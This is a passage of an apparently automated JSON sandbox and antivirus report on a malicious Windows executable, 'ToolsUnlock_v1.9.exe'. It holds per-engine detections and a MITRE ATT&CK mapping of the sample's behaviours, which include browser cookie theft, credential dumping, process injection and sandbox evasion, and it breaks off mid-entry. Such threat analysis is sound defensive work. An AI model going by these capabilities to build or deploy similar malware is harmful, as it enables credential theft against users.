304:Jb+yWx7","98304:b+yWx7x","98304:+yWx7xf","98304:yWx7xfj","98304:Wx7xfj1","98304:x7xfj1e","98304:7xfj1ei","98304:xfj1ei9","98304:fj1ei9W","98304:j1ei9WS","98304:1ei9WSH","98304:ei9WSH0","98304:i9WSH0H","98304:9WSH0H3","98304:WSH0H3K","98304:SH0H3K4","98304:H0H3K44","98304:0H3K44I","98304:H3K44IO","98304:3K44IOP","98304:K44IOPB","98304:44IOPB3","98304:4IOPB3t","98304:IOPB3tL","98304:OPB3tLS","98304:PB3tLSg","98304:B3tLSgX","98304:3tLSgXr","98304:tLSgXrt","98304:LSgXrt+","98304:SgXrt+K","98304:gXrt+K1","98304:Xrt+K19","49152:9lxCHa4","49152:lxCHa44","49152:xCHa44l","49152:CHa44lP","49152:Ha44lPB","49152:a44lPB3","49152:44lPB3V","49152:4lPB3V1","49152:lPB3V1N"],"imphash":"9cbefe68f395e67356e2a5d8d1b285c0"},"file_info":{"file_name":"ToolsUnlock_v1.9.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":5631616,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1778249844000,"last_seen":1778259616000,"last_multi_scan":1778259616000}},"detections":{"summary":{"verdict":"malicious","score":83,"tags":null},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":74},"sandbox_signatures":{"informative_count":190,"suspicious_count":18,"malicious_count":3,"total":211},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Wacatac_B_ml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABTrojan.LSGM-7276","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"},{"type":"informative","value":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Contains a Wine emulator-related string"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"The input sample contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"suspicious","value":"Able to retrieve browser cookies using SQL"},{"type":"suspicious","value":"Attempts to obtain browser cookies (file access)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current hardware profile (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API 